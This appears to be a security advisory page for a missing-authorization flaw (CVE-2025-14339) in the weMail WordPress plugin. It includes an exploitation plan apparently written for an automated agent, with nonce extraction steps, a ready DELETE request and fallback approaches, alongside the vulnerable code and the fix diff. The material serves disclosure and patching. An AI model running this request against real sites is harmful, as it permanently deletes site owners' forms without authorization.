weMail <= 2.0.7 - Missing Authorization to Unauthenticated Form Deletion
Description
The weMail - Email Marketing, Lead Generation, Optin Forms, Email Newsletters, A/B Testing, and Automation plugin for WordPress is vulnerable to unauthorized form deletion in all versions up to, and including, 2.0.7. This is due to the `Forms::permission()` callback only validating the `X-WP-Nonce` header without checking user capabilities. Since the REST nonce is exposed to unauthenticated visitors via the `weMail` JavaScript object on pages with weMail forms, any unauthenticated user can permanently delete all weMail forms by extracting the nonce from the page source and sending a DELETE request to the forms endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=2.0.7What Changed in the Fix
Changes introduced in v2.0.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14339 weMail Form Deletion ## 1. Vulnerability Summary The **weMail** plugin for WordPress (versions <= 2.0.7) contains a missing authorization vulnerability in its REST API implementation. The `WeDevs\WeMail\Rest\Forms::permission()` callback, which protects …
Show full research plan
Exploitation Research Plan: CVE-2025-14339 weMail Form Deletion
1. Vulnerability Summary
The weMail plugin for WordPress (versions <= 2.0.7) contains a missing authorization vulnerability in its REST API implementation. The WeDevs\WeMail\Rest\Forms::permission() callback, which protects several sensitive endpoints (including form creation, updating, and deletion), only validates the X-WP-Nonce header against the standard wp_rest action. It fails to perform any capability checks (e.g., current_user_can('manage_options')).
Since the plugin exposes the wp_rest nonce to unauthenticated visitors via a global JavaScript object (weMail) on pages where weMail forms are embedded, any unauthenticated user can obtain this nonce and perform administrative actions on forms, specifically deleting all forms on the site.
2. Attack Vector Analysis
- Endpoint:
DELETE /wp-json/wemail/v1/forms - Method:
DELETE - Authentication: Unauthenticated (requires a valid
wp_restnonce). - Vulnerable Component:
includes/Rest/Forms.php, methodpermission. - Payload Parameters:
ids(array): A list of form IDs (strings/UUIDs) to delete.soft_delete(boolean): Iffalse, the forms are permanently deleted.
- Preconditions: At least one weMail form must be published/visible on a public page to expose the nonce to a guest.
3. Code Flow
- Request Arrival: A
DELETErequest is sent towemail/v1/forms. - Authorization: The WordPress REST API calls the
permission_callbackregistered inincludes/Rest/Forms.phpwithinregister_routes():register_rest_route( $this->namespace, $this->rest_base, array( array( 'methods' => WP_REST_Server::DELETABLE, 'permission_callback' => array( $this, 'permission' ), 'callback' => array( $this, 'destroy' ), ), ) ); - Vulnerable Check: The
permission()method is executed:public function permission( $request ) { $nonce = $request->get_header( 'X-WP-Nonce' ); if ( $nonce && wp_verify_nonce( $nonce, 'wp_rest' ) ) { return true; // Vulnerability: No capability check here } return false; } - Execution: If the nonce is valid for the
wp_restaction (even for unauthenticated users),destroy()is called:public function destroy( $request ) { $ids = $request->get_param( 'ids' ); $soft_delete = $request->get_param( 'soft_delete' ); wemail()->form->delete( $ids, wemail_validate_boolean( $soft_delete ) ); return new WP_REST_Response( array( 'success' => true ) ); }
4. Nonce Acquisition Strategy
The vulnerability description explicitly states the nonce is exposed via the weMail JavaScript object. To obtain a valid wp_rest nonce as an unauthenticated user:
- Identify Trigger: The plugin typically enqueues its frontend scripts (containing the nonce) when a form is rendered via a shortcode.
- Shortcode: Based on the plugin's documentation, the shortcode is likely
[wemail_form id="ID"]. - Setup: Place a weMail form on a public post or page.
- Extraction:
- Use
browser_navigateto visit the page as a guest. - Use
browser_evalto extract the nonce:browser_eval("weMail.nonce")orbrowser_eval("weMailData.nonce"). - Note: In version 2.0.7, look for the localization call. It is likely localized as
weMailorweMailData.
- Use
5. Exploitation Strategy
Step 1: Discover Form IDs
To delete forms, we need their IDs. If the IDs are unknown, they can be found by inspecting the HTML of the page where the form is rendered (look for data attributes or form classes containing a UUID-like string).
Step 2: Extract Nonce
Navigate to the page with the form and run:extracted_nonce = browser_eval("weMail.nonce")
Step 3: Delete Forms
Send the malicious DELETE request using the http_request tool.
HTTP Request:
DELETE /wp-json/wemail/v1/forms?ids[]=FORM_ID_HERE&soft_delete=false HTTP/1.1
Host: TARGET_HOST
X-WP-Nonce: EXTRACTED_NONCE
Content-Type: application/json
Note: The ids parameter is processed via $request->get_param('ids'). For DELETE requests with a body, it's safer to provide parameters in the query string or ensure the REST server processes the JSON body for the DELETE method.
6. Test Data Setup
- Activate Plugin: Ensure weMail 2.0.7 is active.
- Create Forms: Use WP-CLI or the UI to create at least two test forms. Since form creation usually requires an API key connection to weMail's cloud service, we may need to mock the form existence in the database or use a test account if possible.
- Publish Form: Create a public post containing a weMail form shortcode:
wp post create --post_type=post --post_status=publish --post_title="Contact" --post_content='[wemail_form id="test-form-123"]' - Identify IDs: Note the IDs of the forms created.
7. Expected Results
- Response: The server should return a
200 OKwith the body{"success": true}. - Effect: The forms specified in the
idsarray should no longer exist in the plugin's form list.
8. Verification Steps
- UI Check: Navigate to the weMail Forms page in the WordPress admin dashboard and verify the forms are missing.
- Database/API Check: Use WP-CLI to check for the forms.
# Since weMail stores forms in a way that might not be standard CPTs, # check the options table or specific wemail tables if they exist. wp db query "SELECT * FROM wp_options WHERE option_name LIKE 'wemail_forms%';" - Frontend Check: Re-visit the public page. The form should no longer render or should show an error.
9. Alternative Approaches
If the DELETE method with a body is rejected by the server configuration, try passing the ids as multiple query parameters:/wp-json/wemail/v1/forms?ids[]=id1&ids[]=id2&soft_delete=false
If the weMail.nonce variable is named differently, use browser_eval("window") and search for keys containing "nonce" or "wemail". Check includes/FrontEnd/FrontEnd.php or includes/FrontEnd/Scripts.php (if they exist) to see the exact localization key. Given the class map, check WeDevs\WeMail\FrontEnd\FrontEnd for where scripts are localized.
Summary
The weMail plugin for WordPress is vulnerable to missing authorization because its REST API permission callback for forms only validates a standard REST nonce without checking for specific user capabilities. Since this nonce is exposed to unauthenticated visitors via frontend JavaScript objects on pages with embedded forms, attackers can perform unauthorized actions such as deleting all forms on the site.
Vulnerable Code
// includes/Rest/Forms.php:124 public function permission( $request ) { $nonce = $request->get_header( 'X-WP-Nonce' ); if ( $nonce && wp_verify_nonce( $nonce, 'wp_rest' ) ) { return true; } return false; } --- // includes/Rest/Forms.php:38 register_rest_route( $this->namespace, $this->rest_base, array( array( 'methods' => WP_REST_Server::DELETABLE, 'permission_callback' => array( $this, 'permission' ), 'callback' => array( $this, 'destroy' ), ), ) );
Security Fix
@@ -121,14 +121,36 @@ ); } + /** + * Permission callback for form endpoints + * Requires WordPress authentication, weMail role-based capability checks, and nonce verification + * + * @param \WP_REST_Request $request + * + * @return bool + */ public function permission( $request ) { - $nonce = $request->get_header( 'X-WP-Nonce' ); + // 1. Require WordPress authentication (user must be logged in) + if ( ! is_user_logged_in() ) { + return false; + } + + // 2. Check user has appropriate weMail role-based capabilities + if ( ! function_exists( 'wemail' ) || ! method_exists( wemail(), 'user' ) ) { + return false; + } - if ( $nonce && wp_verify_nonce( $nonce, 'wp_rest' ) ) { - return true; + if ( ! wemail()->user->can( 'manage_form' ) ) { + return false; + } + + // 3. Require nonce verification for CSRF protection + $nonce = $request->get_header( 'X-WP-Nonce' ); + if ( ! $nonce || ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { + return false; } - return false; + return true; }
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first visits a public page where a weMail form is rendered to obtain a valid REST nonce. This nonce is typically found in the global JavaScript object `weMail.nonce` localized into the page source. The attacker then identifies the target form IDs (often found in the HTML source) and sends a DELETE request to the `/wp-json/wemail/v1/forms` endpoint. The request must include the extracted nonce in the 'X-WP-Nonce' header and the target form IDs in the 'ids' array parameter. Because the server only checks the nonce and not the user's login status or capabilities, the forms are deleted as requested.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.